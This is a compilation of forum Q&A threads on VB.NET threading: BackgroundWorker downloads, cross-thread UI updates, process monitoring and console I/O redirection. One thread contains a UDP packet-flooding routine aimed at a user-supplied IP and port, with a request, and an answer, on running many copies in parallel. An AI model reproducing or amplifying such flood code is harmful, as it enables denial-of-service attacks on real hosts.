Okay, so I have been trying to download a large file with different methods. In my code what would usually work best is My.Computer.NetWork.DownloadFile but because the file is 1.5Gb's my windows form freezes and doesn't respond. I didn't bother waiting to see for how long it wouldn't respond for after I waited 5 minutes because I thought it would just be a waste of time. So I also tried wc.DownloadFileAsync (wc standing for Web Client) this works and doesn't freeze my windows form but the problem with this is that it skips over it and doesn't wait until the download is finished so it continues on with my code and therefore I get errors.
I tried researching ways to pause or stop the code until the download was finished but no luck. After further research I found the backgroundworker class. I was wondering if this would work for me and how would I implement it into my code, or if there is any easier way to go about doing this?
I was not able to successfully implement it into my code. I wasn't able to invoke and therefore got errors such as this: Cross-thread operation not valid.
This is currently my code, with the background worker:
Private Sub BackgroundWorker1_DoWork(ByVal sender As System.Object, ByVal e As System.ComponentModel.DoWorkEventArgs) Handles BackgroundWorker1.DoWork
Dim downloader As New System.Net.WebClient
Dim ServerVersion = wc.DownloadString("http://127.0.0.1:8080/patch/PatchList.txt").Trim
Dim tLines As String() = ServerVersion.Split(Environment.NewLine)
For Each NewLine As String In tLines
Dim tVersionAndUrl As String() = NewLine.Split(vbTab)
Dim encText As New System.Text.UTF8Encoding()
Dim btText() As Byte
btText = encText.GetBytes(tVersionAndUrl(0))
'MessageBox.Show(btText.ToString)
'MessageBox.Show(tVersionAndUrl(0)(0))
If tVersionAndUrl.Length < 2 Then
Exit For
End If
If Integer.Parse(tVersionAndUrl(0)) < Integer.Parse(CVersion.Text) Then
Dim TempPath As String = "\launcher\temp.rar"
AddHandler wc.DownloadProgressChanged, AddressOf ProgressChanged
AddHandler wc.DownloadProgressChanged, AddressOf ProgressChanged
AddHandler wc.DownloadFileCompleted, AddressOf DownloadCompleted
'wc.DownloadFileAsync(New Uri(tVersionAndUrl(1)), Me.GetFileName(tVersionAndUrl(1)))
wc.DownloadFileAsync(New Uri(tVersionAndUrl(1)), tmp, Stopwatch.StartNew)
'My.Computer.FileSystem.DeleteFile(Me.GetFileName(tVersionAndUrl(1)))
CVersion.Text = tVersionAndUrl(0)
LabelStatus.Text = "Download in Progress"
Button1.Enabled = False
End If
Next
MsgBox("Client is up to date")
End Sub
And this is the Addhandlers for it:
Private Sub ProgressChanged(ByVal sender As Object, ByVal e As DownloadProgressChangedEventArgs)
Dim bytesIn As Double = Double.Parse(e.BytesReceived.ToString())
Dim totalBytes As Double = Double.Parse(e.TotalBytesToReceive.ToString())
Dim percentage As Double = bytesIn / totalBytes * 100
ProgressBarCurrent.Value = Int32.Parse(Math.Truncate(percentage).ToString())
Dim BytesDownloaded As String = (e.BytesReceived / (DirectCast(e.UserState, Stopwatch).ElapsedMilliseconds / 1000.0#)).ToString("#")
If BytesDownloaded < 1024 Then
Dim Bs As String = Convert.ToInt32(BytesDownloaded)
Label4.Text = (Bs & " B/s")
ElseIf BytesDownloaded < 1048576 Then
Dim KBs As String = Math.Round(BytesDownloaded / 1024, 2)
Label4.Text = (KBs & " KB/s")
ElseIf BytesDownloaded < 1073741824 Then
Dim MBs As String = Math.Round(BytesDownloaded / 1048576, 2)
Label4.Text = (MBs & " MB/s")
End If
End Sub
Private Sub DownloadCompleted(ByVal sender As Object, ByVal e As System.ComponentModel.AsyncCompletedEventArgs)
'MessageBox.Show("Download Complete")
LabelStatus.Text = "Download Complete"
Button1.Enabled = True
Downloading = False
End Sub
I would appreciate any help. Thanks.
In newer VB/C# .net the keywords you are interested in are Await and Async:
http://msdn.microsoft.com/en-us/library/vstudio/hh191443.aspx?cs-save-lang=1&cs-lang=vb#code-snippet-1
Also you should design your routine to download in chunks. There are many ways to do that but maybe you are better to look at HTTPWebRequest/Response will handles chunking and has a method to work with +2GB files easily (ranging).
Sorry not an answer as I don't have enough rep to put this as a comment.
Cheers,
Al
In your code, we can see that you have used BackgroundWorker class, which seems good to me. What i am trying to find is the remaining delegate functions of the BackgroundWorker class like ProgressChanged, RunWorkerCompleted (instead you have registered you own delegates which might seems to lead to an error on the later stage). Try handling these events, it should help you and let you know when the task completes and reports progress in the meanwhile. For reporting progress, in the main UI thread, you can also run a progress bar with style property set as Marquee.
Related
I have the following code:
Dim p() As Process
Private Sub CheckIfRunning()
p = Process.GetProcessesByName("skype") 'Process name without the .exe
If p.Count > 0 Then
' Process is running
MessageBox.Show("Yes, Skype is running")
Else
' Process is not running
MessageBox.Show("No, Skype isn't running")
End If
End Sub
Private Sub Button1_Click(sender As Object, e As EventArgs) Handles Button1.Click
CheckIfRunning()
End Sub
And it works GREAT!
But I'm wondering how I would convert this to a monitoring application, to constantly check if the processes is running. Is it as simple as putting the check on a timer every 1 second, or is there a better, more efficient way to go about this.
In the end result, I'd like to have a label that says "Running", or "Not Running" based on the process, but I need something to watch the process constantly.
If you need the app running all the time, then you don't need a Timer at all. Subscribe to the Process.Exited() event to be notified when it closes. For instance, with Notepad:
Public Class Form1
Private P As Process
Private FileName As String = "C:\Windows\Notepad.exe"
Private Sub Form1_Load(sender As Object, e As EventArgs) Handles MyBase.Load
Dim ps() As Process = Process.GetProcessesByName(Path.GetFileNameWithoutExtension(FileName))
If ps.Length = 0 Then
P = Process.Start(FileName)
P.EnableRaisingEvents = True
AddHandler P.Exited, AddressOf P_Exited
Else
P = ps(0)
P.EnableRaisingEvents = True
AddHandler P.Exited, AddressOf P_Exited
End If
End Sub
Private Sub P_Exited(sender As Object, e As EventArgs)
Console.WriteLine("App Exited # " & DateTime.Now)
Console.WriteLine("Restarting app: " & FileName)
P = Process.Start(FileName)
P.EnableRaisingEvents = True
AddHandler P.Exited, AddressOf P_Exited
End Sub
End Class
That would keep it open all the time, assuming you wanted to open it if it wasn't already running.
If you don't want to open it yourself, and need to detect when it does open, then you could use WMI via the ManagementEventWatcher as in this previous SO question.
I've done something similar to this to monitor an exe that I need to be running all the time, and to restart it if it was down.
Mine was running as a Windows Service - that way it would start when windows booted and id never need to look after it.
Alternatively you could just create it as a console app and put it in your startup folder?
I had:
Sub Main()
Do
Check_server()
Dim t As New TimeSpan(0, 15, 0)
Threading.Thread.Sleep(t)
Loop
End Sub
Public Sub Check_server()
Dim current_pros() As Process = get_pros()
Dim found As Boolean = False
If Now.Hour < "22" Then
For Each pro In current_pros
If pro.ProcessName.ToLower = "Lorraine" Then
found = True
Exit For
Else
found = False
End If
Next
If found Then
Console.WriteLine("Server up")
Else
Console.WriteLine("Server down - restarting")
restart_server()
End If
End If
End Sub
My "server" app was called Lorraine...Also a timer maybe better practice than having the thread sleep..
From my experience, a simple timer works best:
'Timer interval set to 1-5 seconds... no remotely significant CPU hit
Private Sub timerTest_Tick(sender As System.Object, e As System.EventArgs) Handles timerTest.Tick
Dim p() As Process = Process.GetProcessesByName("Skype")
lblStatus.Text = If(p.Length > 0, "Skype is running.", "Skype isn't running.")
End Sub
Your mileage may vary, but I don't like to deal with separate threads unless necessary.
I am writing an application to manage other console application(game server - jampded.exe)
When it's running in console it writes data and reads commands with no problem.
In my application I redirected standard I/O to StreamWriter and StreamReader
Public out As StreamReader
Public input As StreamWriter
Dim p As New Process()
p.StartInfo.FileName = My.Application.Info.DirectoryPath & "\" &
TextBox6.Text 'PATH TO JAMPDED.EXE
p.StartInfo.Arguments = TextBox1.Text 'EXTRA PARAMETERS
p.StartInfo.CreateNoWindow = True
p.StartInfo.RedirectStandardInput = True
p.StartInfo.RedirectStandardOutput = True
p.StartInfo.UseShellExecute = False
p.Start()
input = p.StandardInput
out = p.StandardOutput
Dim thr As Thread = New Thread(AddressOf updatetextbox)
thr.IsBackground = True
thr.Start()
Sub updatetextbox()
While True
While Not out.EndOfStream
RichTextBox1.AppendText(out.ReadLine())
RichTextBox1.AppendText(vbNewLine)
End While
End While
End Sub
Private Sub Button2_Click(sender As Object, e As EventArgs) _
Handles Button2.Click
input.WriteLine(TextBox4.Text)
TextBox4.Text = ""
input.Flush()
End Sub
When I am pressing Button2 that should write to STD/I text from my textbox, jampded.exe acts like it wasn't written. Also Output works well at startup, after that new lines are added rarely when there is a lot data in buffer.
Am I doing something wrong, or is it the application's fault?
For the standard input question:
Are you certain that the application you're starting is reading data from standard input (and not trapping keyboard events or something)? To test this, put some text that you're trying to send to the application in a text file (named, for example, commands.txt). Then send it to the application from a command prompt like so:
type commands.txt | jampded.exe
If that application reads those commands, then it is indeed reading from standard input. If it isn't, then redirecting standard input isn't going to help you get data to that application.
For the standard output question:
Instead of launching your own thread to handle the data coming from the other application, I would suggest doing something like this:
AddHandler p.OutputDataReceived, AddressOf OutputData
p.Start()
p.BeginOutputReadLine()
Private Sub AddLineToTextBox(ByVal line As String)
RichTextBox1.AppendText(e.Data)
RichTextBox1.AppendText(vbNewLine)
End Sub
Private Delegate Sub AddLineDelegate(ByVal line As String)
Private Sub OutputData(ByVal sender As Object, ByVal e As DataReceivedEventArgs)
If IsNothing(e.Data) Then Exit Sub
Dim d As AddLineDelegate
d = AddressOf AddLineToTextBox
Invoke(d, e.Data)
End Sub
The Invoke call is required because OutputData may get called on a different thread, and UI updates all have to happen on the UI thread.
I've seen the same issue with data coming in batches when reading from the StandardOutput stream directly. The asynchronous read + event handler combo fixed it.
I am creating a program to download files from download websites. I've created a background worker to handle download large files as it usually freezes the UI when downloading large files.
I've managed to make it work but the problem I am facing now is that I am not able to use my AddHandler to show the changed progress, so I tried to use an invoke method for the progress changed values.
This is the code I tried for the invoke method:
Dim ProgressChanged As New ProgressChange(AddressOf bw_ProgressChanged)
Me.Invoke(ProgressChanged, Nothing, EventArgs.Empty)
This is my ProgressChanged handler.
Private Sub bw_ProgressChanged(ByVal sender As Object, ByVal e As DownloadProgressChangedEventArgs)
Dim bytesIn As Double = Double.Parse(e.BytesReceived.ToString())
Dim totalBytes As Double = Double.Parse(e.TotalBytesToReceive.ToString())
Dim percentage As Double = bytesIn / totalBytes * 100
ProgressBarCurrent.Value = Int32.Parse(Math.Truncate(percentage).ToString())
Dim BytesDownloaded As String = (e.BytesReceived / (DirectCast(e.UserState, Stopwatch).ElapsedMilliseconds / 1000.0#)).ToString("#")
If BytesDownloaded < 1024 Then
Dim Bs As String = Convert.ToInt32(BytesDownloaded)
Label4.Text = (Bs & " B/s")
ElseIf BytesDownloaded < 1048576 Then
Dim KBs As String = Math.Round(BytesDownloaded / 1024, 2)
Label4.Text = (KBs & " KB/s")
ElseIf BytesDownloaded < 1073741824 Then
Dim MBs As String = Math.Round(BytesDownloaded / 1048576, 2)
Label4.Text = (MBs & " MB/s")
ElseIf BytesDownloaded < 1099511627776 Then
Dim GBs As String = Math.Round(BytesDownloaded / 1073741824, 2)
Label4.Text = (GBs & " GB/s")
Else
Label4.Text = ("Estimating...")
End If
End Sub
It's got some more code but I don't think it's necessary to show.
And this is my delegate sub.
Delegate Sub ProgressChange(ByVal sender As Object, ByVal e As DownloadProgressChangedEventArgs)
I've also tried a few different things with addhandler method.
AddHandler wc.DownloadProgressChanged, AddressOf bw_ProgressChanged
Before when I used this code I was getting an error but now when I use it, there is no error but the code doesn't actually do anything, like it's not even fired, so I figured add handlers wouldn't work.
I wasn't sure if it was possible to use Invoke method for DownloadProgressChanged, but I believe it should be and I am not sure what arguments, I would use. I have tried different arguments that I thought would work but they didn't.
You need to call [YourBackgroundWorkerObject].ReportProgress from inside DoWork. This triggers the ProgressChanged event.
Your ProgressChanged-procedure must then invoke the method that does the UI changes.
(BTW, you can as well skip that Progress-Reporting-Reroute of the BGW. Invoke your own UI-changing method directly from DoWork.)
I have one Private sub that runs in a loop. I want the sub to run multiple times at once. For example the program runs, you press start; you run the program again and press start, again and again... the same program doing the job at once. now i just want one program do to it alone. But i would like it to be user defined. exp. run program. type in a text box 10. press start. and it works as if 10 of them work open working on the same thing.
I have seen another program made with vb.net 2010 and its what i use and do not know how to do it. so i am just wondering.
Private Sub Flood1(ByVal sender As Object, ByVal e As DoWorkEventArgs) Handles Flood.DoWork
Dim IP As IPAddress = IPAddress.Parse(TextBox1.Text)
Dim IPPort As New IPEndPoint(IP, Convert.ToInt32(TextBox2.Text))
Dim PacketS As Byte() = New Byte(TextBox3.Text) {}
Dim SocketN As Integer = Convert.ToInt32(TextBox4.Text)
Do While Flooding = True
For i = 0 To SocketN
If Flooding = True Then
Dim _Sock(i) As Socket
_Sock(i) = New Socket(AddressFamily.InterNetwork, SocketType.Dgram, ProtocolType.Udp)
Try
_Sock(i).SendTo(PacketS, IPPort)
Threading.Thread.Sleep(500)
Catch ex As Exception
Threading.Thread.Sleep(500)
End Try
Else
Exit Do
End If
Next
Loop
End Sub
Mostly want to have this work over and over at once by the users choice... kinda hoped not to use this code else might not get helped.
You can use background worker for that.
Once you know how many workers you want to do the job
just create those many instances of background worker.
Tell me if this is the answer you are looking for or not
Sample Source Code
Imports System.ComponentModel
Module Module1
Sub Main()
Console.WriteLine("Please enter the worker count:")
Dim workerCount As Integer = Console.ReadLine()
For i As Int16 = 0 To workerCount
Dim worker As BackgroundWorker = New BackgroundWorker
worker.RunWorkerAsync(i + 1)
AddHandler worker.DoWork, AddressOf Worker_DoWork
Next
End Sub
Private Sub Worker_DoWork(ByVal sender As System.Object, ByVal e As System.ComponentModel.DoWorkEventArgs)
Console.WriteLine(e.Argument.ToString())
End Sub
End Module
I have been pulling my hair out trying to get this to work. If I step through the code in debugger it all works great.
My problem is if I just run it, only the last task responds. I'm guessing I am overwriting the background working or something. I am sure I am doing a few things wrong but my code is now messy as I tried many way while searching. I know of the threadpool and .Net 4.0 tasks but having a hard time getting to do what I need.
Basicly I am writing a program (trying more likely) that takes a list of computers and pings then, then checks their uptime and reports back.
This works fine in the UI thread (Obviously that locks up my screen). I can have the background worker just do this, but then it does each computer 1 by one, and while the screen is responsive it still takes a long time.
So my answer was to have a for loop for each server launching a new background worker thread. My solution does not work.
I have seen other threads that I could do it, but I need to use with events to call code to update to UI when each is done.
What is the most simple way to do this?
Here is my code. Most is just copy paste + modify till I get it working right.
So In the main class I have the testworker.
(I tried using Testworker() but it said I could not do that WithEvents)
When I click the button the list loads.
Private WithEvents TestWorker As System.ComponentModel.BackgroundWorker
Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.Windows.RoutedEventArgs) Handles Button1.Click
Button1.IsEnabled = False
Dim indexMax As Integer
indexMax = DataGridStatus.Items.Count
For index = 1 To (indexMax)
Dim Temp As ServerInfo = DataGridStatus.Items(index - 1)
Temp.Index = index - 1
Call_Thread(Temp)
Next
End Sub
Private Sub Call_Thread(ByVal server As ServerInfo)
Dim localserver As ServerInfo = server
TestWorker = New System.ComponentModel.BackgroundWorker
TestWorker.WorkerReportsProgress = True
TestWorker.WorkerSupportsCancellation = True
TestWorker.RunWorkerAsync(localserver)
End Sub
Private Sub TestWorker_DoWork(ByVal sender As Object, ByVal e As System.ComponentModel.DoWorkEventArgs) Handles TestWorker.DoWork
Dim iparray As IPHostEntry
Dim ip() As IPAddress
Dim Server As ServerInfo
Server = e.Argument
Try
'Get IP Address first
iparray = Dns.GetHostEntry(Server.ServerName)
ip = iparray.AddressList
Server.IPAddress = ip(0).ToString
'Try Pinging
Server.PingResult = PingHost(Server.ServerName)
If Server.PingResult = "Success" Then
'If ping success, get uptime
Server.UpTime = GetUptime(Server.ServerName)
Else
Server.PingResult = "Failed"
End If
Catch ex As Exception
Server.PingResult = "Error"
End Try
TestWorker.ReportProgress(0, Server)
Thread.Sleep(1000)
End Sub
Private Sub TestWorker_ProgressChanged(ByVal sender As Object, ByVal e As System.ComponentModel.ProgressChangedEventArgs) Handles TestWorker.ProgressChanged
Dim index As Integer
Dim serverchange As ServerInfo = DirectCast(e.UserState, ServerInfo)
index = DataGridStatus.Items.IndexOf(serverchange)
' index = serverchange.Index
DataGridStatus.Items.Item(index) = serverchange
' ProgressBar1.Value = e.ProgressPercentage
DataGridStatus.Items.Refresh()
End Sub
You are only getting the last result because you are blowing away your BackgroundWorker each time you call TestWorker = New System.ComponentModel.BackgroundWorker. Since the processing is being done asynchronously, this line is being called multiple times within your for loop before the previous work has finished.
Something like the following might work. (Sorry, my VB is rusty; there are probably more efficient ways of expressing this.)
Delegate Function PingDelegate(ByVal server As String) As String
Private _completedCount As Int32
Private ReadOnly _lockObject As New System.Object
Dim _rnd As New Random
Private _servers As List(Of String)
Private Sub GoButton_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles GoButton.Click
_servers = New List(Of System.String)(New String() {"adam", "betty", "clyde", "danny", "evan", "fred", "gertrude", "hank", "ice-t", "joshua"})
_completedCount = 0
ListBox1.Items.Clear()
GoButton.Enabled = False
BackgroundWorker1.RunWorkerAsync(_servers)
End Sub
Private Sub BackgroundWorker1_DoWork(ByVal sender As System.Object, ByVal e As System.ComponentModel.DoWorkEventArgs) Handles BackgroundWorker1.DoWork
Dim servers As List(Of System.String) = DirectCast(e.Argument, List(Of System.String))
Dim waitHandles As New List(Of WaitHandle)
For Each server As System.String In servers
' Get a delegate for the ping operation. .Net will let you call it asynchronously
Dim d As New PingDelegate(AddressOf Ping)
' Start the ping operation async. When the ping is complete, it will automatically call PingIsDone
Dim ar As IAsyncResult = d.BeginInvoke(server, AddressOf PingIsDone, d)
' Add the IAsyncResult for this invocation to our collection.
waitHandles.Add(ar.AsyncWaitHandle)
Next
' Wait until everything is done. This will not block the UI thread because it is happening
' in the background. You could also use the overload that takes a timeout value and
' check to see if the user has requested cancellation, for example. Once all operations
' are complete, this method will exit scope and the BackgroundWorker1_RunWorkerCompleted
' will be called.
WaitHandle.WaitAll(waitHandles.ToArray())
End Sub
Private Sub BackgroundWorker1_ProgressChanged(ByVal sender As System.Object, ByVal e As System.ComponentModel.ProgressChangedEventArgs) Handles BackgroundWorker1.ProgressChanged
ListBox1.Items.Add(String.Format("{0} ({1}% done)", e.UserState, e.ProgressPercentage))
End Sub
Private Sub BackgroundWorker1_RunWorkerCompleted(ByVal sender As System.Object, ByVal e As System.ComponentModel.RunWorkerCompletedEventArgs) Handles BackgroundWorker1.RunWorkerCompleted
GoButton.Enabled = True
End Sub
Private Function Ping(ByVal server As System.String) As System.String
' Simulate a ping with random result and duration
Threading.Thread.Sleep(_rnd.Next(1000, 4000))
Dim result As Int32 = _rnd.Next(0, 2)
If result = 0 Then
Return server & " is ok"
Else
Return server & " is down"
End If
End Function
Private Sub PingIsDone(ByVal ar As IAsyncResult)
' This method is called everytime a ping operation completes. Note that the order in which
' this method fires is completely independant of the order of the servers. The first server
' to respond calls this method first, etc. This keeps optimal performance.
Dim d As PingDelegate = DirectCast(ar.AsyncState, PingDelegate)
' Complete the operation and get the result.
Dim pingResult As String = d.EndInvoke(ar)
' To be safe, we put a lock around this so that _completedCount gets incremented atomically
' with the progress report. This may or may not be necessary in your application.
SyncLock (_lockObject)
_completedCount = _completedCount + 1
Dim percent As Int32 = _completedCount * 100 / _servers.Count
BackgroundWorker1.ReportProgress(percent, pingResult)
End SyncLock
End Sub
Update: I posted this answer focusing on exactly what you were trying to do from a technical standpoint (use many background workers) without really putting much thought into whether or not this was a good way to accomplish your real objective. In fact, I think you could achieve what you're going for much more easily with a single BackgroundWorker and something like a Parallel.ForEach loop in its DoWork event handler (this takes care of a lot of the nitty gritty work in, e.g., Dave's solution).
When you declare WithEvents TestWorker As BackgroundWorker in VB it wraps it up something like this (not exactly—this is just to illustrate the idea):
Private _TestWorker As BackgroundWorker
Private Property TestWorker As BackgroundWorker
Get
Return _TestWorker
End Get
Set(ByVal value As BackgroundWorker)
' This is all probably handled in a more thread-safe way, mind you. '
Dim prevWorker As BackgroundWorker = _TestWorker
If prevWorker IsNot Nothing Then
RemoveHandler prevWorker.DoWork, AddressOf TestWorker_DoWork
' etc. '
End If
If value IsNot Nothing Then
AddHandler value.DoWork, AddressOf TestWorker_DoWork
' etc. '
End If
_TestWorker = value
End Set
End Property
When you realize this, it becomes clear that by setting TestWorker to a new BackgroundWorker on every call to Call_Thread, you are removing any attached handlers from the object previously referenced by the field.
The most obvious fix would simply be to create a new local BackgroundWorker object in each call to Call_Thread, attach the handlers there (using AddHandler and RemoveHandler), and then just let it do its thing:
Private Sub Call_Thread(ByVal server As ServerInfo)
Dim localserver As ServerInfo = server
' Use a local variable for the new worker. '
' This takes the place of the Private WithEvents field. '
Dim worker As New System.ComponentModel.BackgroundWorker
' Set it up. '
With worker
.WorkerReportsProgress = True
.WorkerSupportsCancellation = True
End With
' Attach the handlers. '
AddHandler worker.DoWork, AddressOf TestWorker_DoWork
AddHandler worker.ProgressChanged, AdressOf TestWorker_ProgressChanged
' Do the work. '
worker.RunWorkerAsync(localserver)
End Sub
Creating the worker right there in the method should be fine as long as you do so from the UI thread, since BackgroundWorker automatically attaches to the current SynchronizationContext in its constructor (if I remember correctly).
Ideally you should use only 1 backgroundworker and use it like this:
Assemble all the work that needs to be done: in your case a list of ServerInfo
Do the work in the background: ping all the servers and keep the result
Report progress: for example after each server pinged
Put results back in DoWorkEventArgs.Result
Display the results back in your UI.
You need to attach TestWorker_DoWork and TestWorker_ProgressChanged to the DoWork and ProgressChanged events within Call_Thread. I haven't yet examined the rest of the code, but that is why it isn't doing anything now.
TestWorker = New System.ComponentModel.BackgroundWorker
TestWorker.WorkerReportsProgress = True
TestWorker.WorkerSupportsCancellation = True
AddHandler TestWorker.DoWork, AddressOf TestWorker_DoWork
AddHandler TestWorker.ProgressChanged, AddressOf TestWorker_ProgressChanged
TestWorker.RunWorkerAsync(localserver)